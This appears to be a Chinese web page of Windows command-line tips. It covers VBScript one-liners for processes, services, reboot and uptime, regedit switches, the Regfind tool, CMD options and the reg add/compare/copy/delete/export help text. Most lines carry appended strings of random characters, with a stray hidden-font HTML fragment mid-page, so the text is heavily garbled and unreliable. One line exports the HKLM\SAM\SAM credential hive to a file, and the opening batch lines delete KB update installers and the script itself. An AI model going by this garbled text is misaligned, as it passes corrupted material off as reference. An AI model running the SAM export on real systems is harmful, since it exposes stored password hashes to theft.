for %%f in (KB??????.exe) do del %%f
del %0
Windows脚本
很多事用脚本来做是很简洁的。下面给出几个常用脚本的echo版。
1,显示系统版本
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>ps.vbs
@echo wscript.echo ps.caption^&" "^&ps.version:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
2,列举进程
@echo for each ps in getobject _ >ps.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>ps.vbs
@echo wscript.echo ps.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next >>ps.vbs
cscript //nologo ps.vbs & del ps.vbs
3,终止进程
@echo for each ps in getobject _ >pk.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_process").instances_ >>pk.vbs
@echo if ps.handle=wscript.arguments(0) then wscript.echo ps.terminate:end if:next >>pk.vbs
要终止PID为123的进程,使用如下语法:
cscript pk.vbs 123
如果显示一个0,表示终止成功。
然后:
del pk.vbs
4,重启系统
@echo for each os in getobject _ >rb.vbs
@echo ("winmgmts:{(shutdown)}!\\.\root\cimv2:win32_operatingsystem").instances_ >>rb.vbs
@echo os.win32shutdown(2):next >>rb.vbs & cscript //nologo rb.vbs & del rb.vbs
5,列举自启动的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.startmode="Auto" then wscript.echo sc.name^&" – "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
6,列举正在运行的服务
@echo for each sc in getobject("winmgmts:\\.\root\cimv2:win32_service").instances_ >sc.vbs
@echo if sc.state="Running" then wscript.echo sc.name^&" – "^&sc.pathname >>sc.vbs
@echo next >>sc.vbs & cscript //nologo sc.vbs & del sc.vbs
7,显示系统最后一次启动的时间
@echo for each os in getobject _ >bt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_operatingsystem").instances_ >>bt.vbs
@echo wscript.echo os.lastbootuptime:next >>bt.vbs & cscript //nologo bt.vbs & del bt.vbs
显示结果的格式是:
yyyymmddHHMMSSxxxxxxZZZZ
_年_月日时分秒_微秒_时区
8,显示系统运行时间
@echo for each os in getobject _ >rt.vbs
@echo ("winmgmts:\\.\root\cimv2:win32_perfrawdata_perfos_system").instances_ >>rt.vbs
@echo s=os.timestamp_sys100ns:l=len(s):s=left(s,l-7):for i=1 to l-7 >>rt.vbs
@echo t=t^&mid(s,i,1):d=t\86400:r=r^&d:t=t mod 86400:next >>rt.vbs
@echo wscript.echo cint(r)^&"d "^&t\3600^&"h "^&t\60 mod 60^&"m "^&t mod 60^&"s":next >>rt.vbs
cscript //nologo rt.vbs & del rt.vbs
这个运行时间是从性能计数器中获得的64位整型数,不会出现在49.7天后溢出的情况。
导出:regedit /e c:\test.reg HKEY_LOCAL_MACHINE\SAM\SAM ’KYz AQK$YkR# h5 cZ(+E/0
安静模式导入:regedit /s c:\test.reg /TOJYWNH!*\;kpX\&A9′u’^
jRzW09l_VGeRL66@?}Skned51
详细情况下: DyF[OD!O3~p +)b6Q$]|~s[!
cmd下修改注册表完全攻略 t2HB 7F2Ch@IWqO Gt{(
=AR*"y#Ql(!(y'if@m I}
regedit虽是gui下使用的东东 但其实是有未公开的参数的 可以在cmd下使用 L'kv/c. oFaM~Cb)59R-
W'XTl1Gp]nPvM:k(Z}LTcEP`h
regedit的运行参数 =gyFW\~ *h)w)O9;OM^:9d?{
; s$DlTYv7HG< Ta*z,E
REGEDIT [/L:system] [/R:user] filename1 oE L<_/V>H;y=yU)qJ=<glJd
REGEDIT [/L:system] [/R:user] /C filename2 l Fto^*\?%67M/|;B,}x48%bx
REGEDIT [/L:system] [/R:user] /E filename3 [regpath] I; C; kn%N zj{j+1N"(A1>|!Nb
/L:system Specifies the location of the SYSTEM.DAT file. =BzLBZ+z<ml {./,TYo
/R:user Specifies the location of the USER.DAT file. fG8q?V-v*g(i`KRZo>>jD
filename1 Specifies the file(s) to import into the regist uTBE?eK/Jkd3EkmW:`DT"
/C filename2 Specifies the file to create the registry from. 4#Bv%r Mp"O 8~)HXPwwVEo5
/E filename3 Specifies the file to export the registry to. 8-c#tYkAHHJ/d`G^RkeiQ4;E
regpath Specifies the starting registry key to export from. .653Jx[_-@.q{aOgoE??$?}u?
(Defaults to exporting the entire registry). .H+3AE*N5? 7_?L{3YK
/S (Windows) Silent - no message on completion. >h&A @$)6A/~)^s;,"/-bY??O
F[uM-#qN=wB@MsSq:x=rE
从Windows命令行快速操作注册表 7L?+ )#6Mx'_ 7[HA,/jd*
EQV],l _"Oeo:2Wel0k=T
每一个熟悉Windows的人都相信,通过注册表几乎可以做到任何事情,真正的问题是怎样迅速找到正确的注册键。 <M=>miKm3rVc5)- Yzo1
;xqlSFk_N%:5C.5o*NbMPS.mCl
绝大多数情形下,操作注册表意味着找到某个特定的子键;偶尔地,可能需要修改一下子键的名称(例如,可能要进行结构上的改动)。那么,怎样才能迅速找到正确的子键并执行修改?另外,如果你不仅要改动本地机器的注册表,而且还要对 ~44 cOh/o1#FU]/2JZ\ H|7L(*
远程机器作同样的修改, h’ v!smbx(q4[M<Z@4}h}P'_
该怎么办?本文告诉你一个好工具Regfind。Regfind可以从Windows 2000 Server的Resource Kit Supplement One找到,或者从网上下载。Regfind适用于Windows的各个版本,包括Windows 9x系列。 hhS PM{Oh4yXF}~b\,v]{^$cej
f7(J?/)D!::$-vNj
Regfind是一个命令行工具。不带任何选项执行Regfind,它将显示出帮助信息。最简单的用法是执行查找,例如执行Regfind "QQ",Regfind将找出所有包含字符串"QQ"的注册键,如图一所示。 Iwwx<("2GF9A[+MO\! Xl[]6
O~-M%C01ZG n{@9k(‘M%f
除了单纯的查找之外,Regfind还能够执行替换:只需在图一的命令后加上-r选项和一个替换字符串即可。例如,假设你公司的名称从AGroup改成了BGroup,现在你想要对注册表中所有的产品注册信息作相应的改动,只需执行:Regfind "AGroup" -r "BGroup"。注意,如果搜索字符串包含空格或标点符号,字符串应该用引号包围。 oa)EhYsTm Hw9yJ"Iq8pl&bo$R
*UaQIX?qRlsq=G}#RF.\
如果要对一台远程机器作相应的改动,只需在前面的命令后加上-m选项并指定远程机器的UNC(Universal Naming Convention,通用命名协定)路径,例如:Regfind -m\\server03 "AGroup" -r "BGroup"。 ,)(V,u*W\FVe|oV(3lX(D H6
5jpfK,P+<*I I`{v.6F3 >=
搜索整个注册表无疑是一件相当耗费时间的事情。为了提高效率,你可以将Regfind的搜索操作限制到某个注册表的分支或子键,只需要在-p选项后面指定要搜索的注册表位置即可。例如,假设要把搜索"AGroup"的操作限制在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft子键,并把该子键下的AGroup替换成BGroup,执行:Regfind "AGroup" -r "BGroup" -p "HKEY_LOCAL_MACHINESOFTWARE\Microsoft"。 DP?_y (}59SRv,LIo_GCVO_+*L
6D8qJ’Jy]I \0$5k$0(dNk F g
通过上面的说明可以看出,Regfind是一个很方便的工具,但白璧有瑕,有时候你仍会感到它不能满足要求。首先,Regfind不支持通配符,也不支持正则表达式——而这两者对于执行复杂搜索是非常有用的。唯一一个给搜索操作增加灵活性的选项是-y。-y选项使得Regfind的搜索操作对大小写不敏感,即如果你执行Regfind AGroup -y,则Regfind的搜索结果中将包含AGroup、aGroup以及其他字母大小写的组合(如果没有-y选项,Regfind默认对大小写敏感,但Regfind的命令选项对大小写不敏感,例如你可以随意使用-R或-r)。 itbQ’^-+>D :~ 7 (BITsMqk7
>OwzI cHEeClb&.;O/V~KF
第二,如果用Regfind执行搜索/替换操作,它将替换所有找到的字符串,你不能要求Regfind只替换其中一个字符串。勉强可算是补救策略的方法是:将搜索操作限制在某个特定的注册表分支。因此,我的建议是:首先用Regfind找出所有匹配的注册子键,然后用Regfind执行全局替换或手工修改某个特定的子键。 Nov-W’[\ WA~SFIw<>eXiKjT
yle="FONT-SIZE: 0pt; COLOR: #f5fae7">NM,}Ns1'64v ;gZP+E0R
第三,如果你想要修改数值型数据,Regfind似乎算不上最佳帮手。这是因为,许多要处理的REG_DWORD值不是0就是1,而0和1在注册表中出现的机会实在太频繁了,很可能出现误替换的情形。解决问题的唯一办法就是尽可能精确地限定Regfind的搜索范围 I=X7t rM"Cx3f)0@4fZKU
J<+,u.=n0r# B&+"eA$*:!H
命令行方式直接修改注册表 ]zB2NTjCZ+F`k"DQE\Jh{
F+C"-b}2|)!gOL88T5rKgZ?
一、CMD &&YQ4/-6{T B(ZW!JeTNk <zN6
cmd是windows2000中的一个小得如鸽子蛋一样的程序,是一个所谓命令行控制台。有两条进入该程序的通道:第一,鼠标点击"开始->运行",在出现的编辑框中键入"cmd",然后点击"确定";第二,在启动windows2000的时候,按F8进入启动选择菜单,移动光条或键入数字至安全模式的命令行状态。出现的窗口是一个在win9x系统常见的那种msdos方式的界面――一个黑乎乎的窗口.甚至还没有msdos方式的窗口耐看:连常用的工具条都没有放上.我真想不通,贵为最新的操作系统,因何还保留似乎是石器时代的dos界面呢?像往常一样,习惯性低在命令后面键入:cmd/?,想看看会提示些什么? P’)Frn{ #5^+}j3o6NI!Cv’-Zq
孰料出现的东西使我大吃一惊:1.这些信息是中文的,要知道原来纯dos环境可不会直接支持中文呀!2.有相当详细的帮助信息.3.界面虽然是命令行的,但却可以对很多深层次的项目进行操作,,例如修改注册表等等.后来的使用也证明,cmd实际上也能直接调用图形界面的程序,并在调用结束后可以返回到命令行界面. ZU99cw* 0 ?I,HG, l85SCi
尽管微软把这个工具当做命令解释器一个新的实例,但使用的方法却和原来的dos没有区别,打开命令行窗口之后,可以找到与dos相同的系统提示符号C:/>,命令必须键入在这个提示符的后面,以回车键确认. eL=4Z +&}-3L?ow|>Va 23]’
完整的语法如下: :,"{H}8IIi:[Y2,DUUC9~r~a
CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF] Z; FP5 yQD77]?6s!cm78?
[[/S] [/C | /K] string] xl’(%KAe4CL[}[W] e# 7it/B
各个参数的含义: FqsZ:hMqWz%;c2′;’YJG1}l*
CMD:是命令名称,这可省略.以下是命令所用的参数或开关. :-{_ 6i$k`>r#XR,x_X(f!U
/C 执行字符串指定的命令然后终断 Y_j3X$-)o u(0hV4;E{-UDgw
/K 执行字符串指定的命令但保留 8840^hZh!L-\z+lA} yz(
/S 在 /C 或 /K 后修改字符串处理(见下) lb<$I20b%l2~N+nVqxQ? p2k7v
/Q 关闭回应 1`8 Y\=#oWV,1>O<b/;w_>c_i
/D 从注册表中停用执行 AutoRun 命令(见下) 6 6-7A’ 0Tb/QG*CD9×9
/A 使向内部管道或文件命令的输出成为 ANSI +4*gv iw@xZuWR[^IN811s18V
/U 使向内部管道或文件命令的输出成为 Unicode L[E 64{~b@N$UZ9H7e;{>Ybn
/T:fg 设置前景/背景颜色(详细信息,请见 COLOR /?) gg8ea9I3"-oy#T:N_Hr1 4w/B
/E:ON 启用命令扩展(见下) {G2kg8e'V RcMNf^MsI`o,N%Y
/E:OFF 停用命令扩展(见下) bfiE19K^ a(T$U=gkUZ0U deq
/F:ON 启用文件和目录名称完成字符 (见下) aS<t+jO\WNlMx*DRQd|{A{j9}K.
/F:OFF 停用文件和目录名称完成字符(见下) 3p,;s@_c$t1}c*d<ev K\G.
/V:ON 将 c 作为定界符启动延缓环境变量扩展。如: /V:ON 会 .^D1z2MNFfq ;gE!cD&~,}
允许 !var! 在执行时允许 !var! 扩展变量 var。var 语法 VfB1OVJMrUII |7G;q:c;FV
在输入时扩展变量,这与在一个 FOR 循环内不同。 oB$3w2,oakThUBkdk&cO hU!
/V:OFF 停用延缓的环境扩展。 vacnpXIOU>i8n`dXJn"I|t
"l A3xGX$}J0'v/UMa\OH
请注意,如果字符串有引号,可以接受用命令分隔符 '&&' 隔开 7@.$-^C4MBAhiU2fV7f) W
的多个命令。并且,由于兼容原因,/X 与 /E:ON 相同,/Y 与 f)Q[L_G$.Ox,"fb7s&s*
/E:OFF 相同,并且 /R 与 /C 相同。忽略任何其它命令选项。 8}:&Y!Q6w,~v0BRYnO:0.u\
J*h%o`'{rl"'%+mpXLJ 0R;U4v
如果指定了 /C 或 /K,命令选项后的命令行其余部分将作为命令行处理;在这种情况下,会使用下列逻辑处理引号字符("): Q}!D cN;'\C=AQVj!!u7(nv nF
&b |Io- v.U]W) M6v0Q*;C[>0
1. 如果符合下列所有条件,那么在命令行上的引号字符将被 Y3m`lTY=C\q:8TB]il.S4′T
保留: V8vqlR#l4e RLNVe1>&7/D
Z,c;Z1UmARSR8′gf o?)jcK<
– 不带 /S 命令选项 =#w\>$ u 7lN6 !K`\E2 r<
– 整整两个引号字符 UD(62??z_kfR-y! sA>u U’
– 在两个引号字符之间没有特殊字符,特殊字符为下列中的 ?Cd|tIB.8,/tB~X=E-3gQ$R6q <
一个: <>()@^| 4{5u.,01[m>$ jLX,=4=2-
- 在两个引号字符之间有至少一个空白
字符 >3RU"* 4(n v5u")t"2/|"p7 ,F'
- 在两个引号字符之间有至少一个可执行文件的名称。 B:g.'<CRhtkPLoD1/inVr j`c
Kd>pMOp+Zf\!8 I}X6%#}\W
2. 否则,老办法是,看第一个字符是否是一个引号字符,如果是,舍去开头的字符并删除命令行上 的最后一个引号字符, 保留最后一个引号字符之后的文字。如果 /D 未在命令行上被指定,当 CMD.EXE 开始时,它会寻找以下 REG_SZ/REG_EXPAND_SZ 注册表变量。如果其中一个或两个都存在,这两个变量会先被执行。 4;s~"_q},/<N B!,u2v
HKEY_LOCAL_MACHINESoftwareMicrosoftCommand ProcessorAutoRun Enw*B X('%e4_{0T7yywwI'
和/或 m,u44HAR6"VMh_a[{7 R9iBi
HKEY_CURRENT_USERSoftwareMicrosoftCommand ProcessorAutoRun A\CU,)`@)!6v%{zp_1 H52F
命令扩展是按默认值启用的。您也可以使用 /E:OFF,为某一特定调用而停用扩展。您可以在机器上和/或用户登录会话上启用或停用 CMD.EXE 所有调用的扩展,这要通过设置使用REGEDT32.EXE 的注册表中的一个或两个 REG_DWORD 值: vZ^0{_e@WWEZ~3AO-j:/A
HKEY_LOCAL_MACHINESoftwareMicrosoftCommand ProcessorEnableExtensions u{i+Abwb6En44S0 /3.| v
和/或 RmTtX1V;0&LKrG5Ul[EC$[M
HKEY_CURRENT_USERSoftwareMicrosoftCommand ProcessorEnableExtensions LU},2uW2X@E\-i"5OO_|oL|FW
到 0x1 或 0x0。 用户特定设置比机器设置有优先权。命令行命令选项比注册表设置有优先权。 ~oN6;J Y(*B|2#!6P[N
原来的dos中有所谓的内部命令和外部命令,在cmd中,引入了命令行扩展,你可以在cmd窗口中直接执行下面的扩展部分,扩展部分之前不必加cmd. $`a4>O{I\8W/W x q(`1r9c cK
命令行扩展包括对下列命令所做的更改和/或添加: IXb _Fi/q3RCM*53%$'qt v)y[2
DEL 或 ERASE a[mXakF =8x0t\#I`yut
COLOR sRFh&qyZW7djV)(!h}TC1$rO/
CD 或 CHDIR J.TF8ril0^jGYr%q^18p~ b"y
MD 或 MKDIR "nl7+(.ytXo_@JP^Z-(mAmq
PROMPT J1t9D/3$\,mkP\zdmU$-dOG1o
PUSHD RqRM8!Olfz2+v36K.|6$V
POPD W><N7~x HeyV(al8 [).fW*@
SET "xw (uYMQl_#DWZ*TU&>q5C4
SETLOCAL /hi#]r03H>;!yHniGp%H /(
ENDLOCAL sc+nu8U!B#h?*H 4(:5l%
IF -PGeXJ.Ud6olh/[cR62cTg{
FOR 5FEF;nX[\P\{*,fCJ|vD%\\t
CALL B5.?@3.u|3v .c?CgG"TY`A
SHIFT |*N2 mKiD@L7+K\zkpNunQ:Fu
GOTO KtgyU0@/=I1dU *8z7#c_J
START (同时包括对外部命令调用所做的更改) :kF afRPY&zh[\2\.:
ASSOC :2(DaZ| |$ 5%|aI'Q "-]mj4DN
FTYPE g7?iz _NM <1pT2 1Rl Ebm+
p,kH W Ww"e%${6CNQT Y{Zf
有关详细信息,请键入 HELP 命令名。 Vn7fS,.w8i$t8mwL1%G@|"6
zit Mv;iQ Q/|.:kV#KWgnpX!s
二、REG TY-n6 /rohq6{L+!;CK]~T5yWiz
可以 WindowsXP提供的reg命令行就可以做到。 I#2D!jtOZ=/6B~q.G?#5}`"
Reg添加、更改和显示注册表项中的注册表子项信息和值。 Cn<R{&)Q4+0}^e.#usrXE _
7#f ?9VvKA{! iDLO?{[:X$xFY
若要查看该命令语法,请单击以下命令: L]Iwn4Cd;x’ayONFy cFD_{9
P^u5)RQNGD Bi>~< ` ,&1=
reg add IY]p %|;J7ew3L_CeS:a&^
{ LVr<P}]^YN,fTa_{n t\HY]z
将新的子项或项添加到注册表中。 :_.HX"+]K&oA2Gr 0x% aOr+
USWNX$QA`m#?;m-!~?bZa8>3i.
语法 V 2V>TBi6f3Zy>Ro]q5na Rh
reg add KeyName [/v EntryName|/ve] [/t DataType] [/s separator] [/d value] [/f] @cj=4KV},5%mC~{&@|c=P mW~z&]
!JCd)i?’Uf*Gw!~Oe6Mq*|
参数 "?^8m2- X-ZWBQhj_We.;5xU
KeyName S_jC%z1Rw($m[AlFz1PQl!F
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 ` d2}-PSyLa5@9NC4KB s,1!l
/v EntryName bn7} 2WCJs{Rj\47Fa^ZZ
指定要添加到指定子项下的项名称。 ?#D@2]FmJZV2,F26~`.!x4"K
/ve rC51.}(Fa*5ozFnNx`pYYT%j
指定添加到注册表中的项为空值。 488x}QrH-xL|b7kZ oT&jO9.A
/t DataType A8)rWE=+` ZIKO00!{~(&r"hK
指定项值的数据类型。
DataType 可以是以下几种类型: i?{dKY 2KLd~"z81> ko,l j
yV/W[ 5?l% jgY3gfebin"uA?
REG_SZ DK2Aq<r^sT1tNeY,`h6h22h
]ile $boBDmLx >"F&+pt.O}1 W
REG_MULTI_SZ Lm+El0~;~dM @E+& @yF,i!
pt`n>Y:k ,:h =@R>&x.?Ct
REG_DWORD_BIG_ENDIAN 3Uvu4HJ0ErJtTz!(FTT. oP
rIap<t N &! /kk~`8T ’Se
REG_DWORD ww*+K;I9uMG,J-~6&1′P#RP
K3)r#5XJ%h!Ws$5eQhK2\ t`/
REG_BINARY /4w-spB6/LLg%AnIH7?2jN_\|
SI?z\`I’}wxC J"q)^K~#0fuF
REG_DWORD_LITTLE_ENDIAN 1L~D=LJf%0 uG\"dD)* yJ{
1vAd)Fsjm<4E El Kcq;
REG_LINK n4"uySv{EA4=~g}H=w’6/z6Hw
+=bu(!a4)b[(Z" rZ$)
REG_FULL_RESOURCE_DESCRIPTOR 5]_(>]&cj [ /# \nlMHPCGQ6
YRU?a{ZLl]v.!^:“i.dAc?
REG_EXPAND_SZ ZR&DfsFv!/0VD:`vA[`@OT
jtM9H $30{CB6KaiLn^%y}8
/s separator H2-g}^/n>45J V '"5ty )
指定用于分隔多个数据实例的字符。当 REG_MULTI_SZ 指定为数据类型且需要列出多个项时,请使用该参数。如果没有指定,将使用默认分隔符为 \。 3^l^m06Gt:s)D&N'>lW
/d value >~c4q \39Rq*pGoT PK[gg -y]^wq
指定新注册表项的值。 XUR:#zncC7h{ufMQu-ySb[K
/f ( ?*92D}Y,CYxX%fg!A**mhKp
不用询问信息而直接添加子项或项。 :4J7Ak +jo7S6t} ;E$VDjM@+ {1
/? bRny <S[v?~+)w]7OM~RPz<
在命令提示符显示帮助。 |MxMlI.k8fV[pB&SPK]L4suP
注释 5’FFJvfDg"\Jq Y#/.=B
该操作不能添加子树。该版本的 Reg 在添加子项时无需请求确认。 XE#r.Eeu$B^a]5Cs:ZX@7
下表列出了 reg add 操作的返回值。 值 说明 k4$8&OBu"o%XPdfnq X_~:g
0 成功 ="qiH|fe$q s@lLq8}$%^g`7"
1 失败 5′6eb~ -fFsr:tyG5ybuTvq,
{{KO|t+>1)a"W,si’;`M
范例 -a1fVc-.Y)g:K9XoS<ooJ
下列范例说明了如何使用 reg add 命令: b a!*v#yI(aco8N9$SQ@> &l’[.E
kcD"_M g"G-uk5&e/Z{K
reg add \hklm\software\myco /v data /t reg_binary /d fe340ead QBy[n "kqa[A*?Z(g%EG ,e`z
reg add "hkcu\software\microsoft\winmine" /v Name3 /t reg_sz /d Anonymous zbo9bSWF$yo*s(` 2b< C"L
reg add "hkcu\software\microsoft\winmine" /v Time3 /t reg_dword /d 5 wo}j.8%~&8U@}*j?9# i
WZq$>M'ie/!&G?W\>Q1Pp%GtpQ3U
reg compare >,y M{\~9l}VT[</wKvF54E"'
C'.Z&IPwxQN"!il'rKBe1xeZ<U&
比较指定的注册表子项或项。 5HFpNj3/s?<^t &lL^5"9C!l
2qwwlhT #BvKo'J]=GDpj#
语法 7`BDN’$S,\:eYULtz[>3gx
reg compare KeyName1 KeyName2 [/v EntryName | /ve] {[/oa]|[/od]|[/os]|[on]} [/s] 0,4`B #3>8:Pg68frSv~’q
J X;i-3 _sD6w[89b ;
参数 qM<emQ8UAV?Qt.| Yt$B e
KeyName Dqw3G@Cg,S,)KH9 oa6HwN
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 I2]u~&Ez(6uC uj^SDY-%9uR
/v EntryName i<1_a=0?n’-Jj?\=]6Rxzk}
比较子项下的特定项。 .{LgRfjDy1U9O=q"fDr\
/ve Hu/Hz110TyrVDr<l_*BM=%Np"O
指定只可以比较没有值的项。 yt!y;%g5kZsJ9_0d 6H1#C.Zs
{[/oa]|[/od]|[/os]|[on]} muF-/Tqhoh]w ;"w&0o:yKGv
指定不同点和匹配点的显示方式。默认设置是 /od。 值 说明 =* qh/tvBh dJK\`PA:?
/oa 指定显示所有不同点和匹配点。默认情况下,仅列出不同点。 Ok+[2G hy#An(t<2@ .]nXe+m>v?
/od 指定仅显示不同点。这是默认操作。 ccg"ABbRT~^?di – X,i
/os 指定仅显示匹配点。默认情况下,仅列出不同点。 P>%-TMv{ga xoK’a5|"\’zv>.+
/on 指定不显示任何内容。默认情况下,仅列出不同点。 4I%RE kE(Y (1 SH(D##c
8EW2^zJt-eZcOuFb\’HGrr$5`
/s Separator
>$bib,T};h><Y=V6,$= \[C
比较所有子项和项。 c)2@i5p)d)jq~va:&jFi w5`d{^t
/? ?Z3XYPk9dE@7I brc(NFCh;Mn
在命令提示符显示帮助。 ##Rh3w6. M>k>-"Pei J|$/
注释 _B.&bO+'^>."op!+[^X&z^6ne
下表列出了 reg compare 操作的返回值。 值 说明 s|g+QSXf c>sX"Y"4K$f/
0 比较成功且结果相同。 SnA&fN>TWy b|7!vC=Qt "&1OMW
1 比较失败。 u>:3JGW-cR\ S $W;@qH~K(V3m"V
2 比较成功并找到不同点。 "rUS:`WG"?c`SMp<\[/XMFw!o
x:3JIMq&-? q:^Znf:%q%>`
范例 uH7yuhs' !)iRS`R6/+Dg
下面的范例说明了如何使用 reg compare 命令: j)^= K*hOL#b"L X>o-6,9(
@Bk7mh+~?U;/{B)%bY{K<+<k
reg compare "hkcu\software\microsoft\winmine" "hkcu\software\microsoft\winmine" /od /s TB#Kc(#\n&$2{VhZWP.e
"< 9*R_4*<wL!M@3DIa<$Q !
reg copy ;P1F" JmeK]0" 3${u/m1
%)GLvEKv=T}fwi8NuAB)AAlP
将一个注册表项复制到本地或远程计算机的指定位置。 k" CVcYa[]7?2O:f_2yM 4J
Y>l!dyo<f;6p]y84Br"}twV
语法 {_6k/M BI%nXgT$(J! F|\H
reg copy KeyName1 KeyName2 [/s] [/f] NeqW7jK0x[[!3K$iby[$
g]?/C5JW5oIp`C)oYaB*’H
参数 e0Ha4 4NIOI1kVG0Xz`
KeyName1 y2 Je6oiTs4mT*8~^"98fc
指定要复制子项的完整路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 9o#,P3<~R+h)09of]"C0’ub
KeyName2 7aw/WP<&[0u`\i[\Mwc1_?O Y
指定子项目的地的完整路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。如果指定远程计算机,则只可使用 HKLM 和 HKU 子目录树。 ]/V; 75gCx4JAbDwrR@s /&/
/s Ony.>b\/Y<{5"N" _=Abc PIE
复制指定子项下的所有子项和项。 Q9 0QI0,1"wA: WVWy}’bR
/f O(Z>\W7L O fZ-r3DTz2YMsD#
无需请求确认而直接复制子项。 *|/}zw sbg}>:U#\2`HNILbLwH
/? sUW #{1(yDDF%.,W2xeL’MhG
在命令提示符显示帮助。 \r8w =/Zh^j xkmpD
注释 u .)rxt(33;4wEv{i"r[Z^DY
该版本的 Reg 在复制子项时无须请求确认。 re zLyP]z/JD6d<_nis
下表列出了 reg copy 操作的返回值。 值 说明 t`P3g_lMc!rrHrmT4YeAdQ
0 成功 w3?>oU&#}YY0R:amhk|h*/4
1 失败 nq:s}ZjF#QE=8 M5n`SQ!h"
:U5mA;[/rl<++tS.bb-*.ea
范例 !2W[x S+$6@+K/U=/U$0_k6/-
下列范例说明了如何使用 reg copy 命令: v-v-no jl[ =@1mmE(Flip /
ZqXeE -u9q0L"o AFf;nv%"]
reg copy "hkcu\software\microsoft\winmine" "hkcu\software\microsoft\winminebk" /s /f ?veS1w0]`_ Y0AkN1UcQ7[p%)k7
reg copy "hkcu\software\microsoft\winminebk" "hkcu\software\microsoft\winmine" /s I0Kun>^geAA$J+G%IwI-W#
qkU-#!X98SVF/ >)$~Jmp`T~
reg delete flz]o U\-)y/t ]Vts93duT37
_Y2U/6%ZZ|k!/0 EqCLXlp}o
从注册表删除项或子项 oGaI8Cz0>v? 1 {g~#<_~E
ymXya_7]j`^E3T4z^* .<=s4
语法 18f8@ N fLUo9SjiC7GN@EX
reg delete KeyName [{/v EntryName|/ve|/va}] [/f] lv") DPx,nB i% AS u7Syj? 8 Z
\P=`*{JJ )|rJ),2HP
参数 xJMlpT1|IK wKIrmQwd(W9
KeyName u1U9sO0GpX%QlZ)pw l5D*$-
U}s0My{v?Bx((5jhmE)j"nCJ
指定子项的完全路径。对于远程计算机,请在 \\ComputerName\PathToSubkey 中的子项路径前包含计算机名称。忽略 ComputerName 会导致默认对本地计算机进行操作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 8EKgb{XAj<I{b&WJG\mIHp
/v EntryName f% 6A{_.3l_x7yj}BztV!
删除子项下的特定项。如果未指定项,则将删除子项下的所有项和子项。 9!,sEbGJ5sQ[kL#N)!l%t[I1
/ve pAF:Dqlg)!A6\nE +Zu32
指定
只可以删除为空值的项。 1~?=*.+*c69E_n_:a|Uz)Qnu
/va m Scc(0kIw"t> <dU7?.
删除指定子项下的所有项。使用本参数不能删除指定子项下的子项。 p6!..WHLuH (V"|~S7c=5!&
/f )su]Xh-mWCJNxILxl;"xh
无需请求确认而删除现有的注册表子项或项。 5~gZ"29l2\46 @VLcnBf10^`
/? ^Q[p0>+|qyr0|j38y{#} Y
在命令提示符显示帮助。 e\(:Yo|j2o#AUq^J%Ip5LDXZ5
注释 ey 4>(2] #.XUQ ZLVV&A lQ
下表列出了 reg delete 操作的返回值。 值 说明 <2 z_VB\s6 GHhhuTA;EVI
0 成功 ~4M\ q7.jS]Vq l>ed%59O
1 失败 Edg9 Ag5~8`{"I M“521
u4A2m’,HXiY\(Qan(o!iBNn_D?$
范例 a|r>T ZZA9k f$/Y’"rAp9=
下面的范例说明了如何使用 reg delete 命令: Yq^2F~g}`\Ec\krMq2 Z[:?
vWR, [\]4=1cH2+}@4rBBxBf?o
reg delete "hkcu\software\microsoft\winmine" /v Name1 <*5df$6 &@* BGD&,*0+h/$"s;
reg delete "hkcu\software\microsoft\winmine" /v Time1 ;I3`’\RnL)1;7f6Al.oP[
reg delete "hkcu\software\microsoft\winmine" /va %E+kef>P0;?hA pw)]RrR’
+WClSY$B\$E ` jp-r6PS }ii`whB
reg export Tyxg =Z <t3SrF /K+;<fkz:B=+
I$X Zz51OJ2p,]pS`v (n
将指定子项、项和值的副本创建到文件中,以便将其传输到其它服务器。 *KT1#Aomj6U$VvzH1M>$$6(48
Rj`Io?.<Fp_9[[X$Tuu)r eXo
语法 L W97xkIn\[7"/BeRnFgg|p[-
reg export KeyName FileName x4loeeL{hSA4}e)B0Vs ~> ws
X0l{H\\+'.Ck~v R,mo(*7#^Az
参数 Nkgo2oi'GwWo(~ Ow}=s8x
KeyName dc0~;&7!pcN $I bD>~:odJI3
指定子项的完全路径。Export 操作仅可在本地计算机上工作。以相应的子目录树开始路径。有效子目录树为 HKLM、HKCU、HKCR、HKU 以及 HKCC。 kR9,yn;} +&4ju$uXUpU A& R
FileName hSUPHnxJx]{^)gl )1
指定要导出文件的名称和路径。该文件必须具有 .reg 扩展名。 8 W Xw’_kK:0S69"Qj A5
/? Lm!Rd}VKk > (;n-=NiU ?Bj9
在命令提示符显示帮助。 FB9<q’ K uW!RAB;i3lzSf
注释 [K48o9*M )K}~B pa aTGo
下表列出了 reg export 操作的返回值。 值 说明 xkS,0 y?^l.G7cxUn^,W V
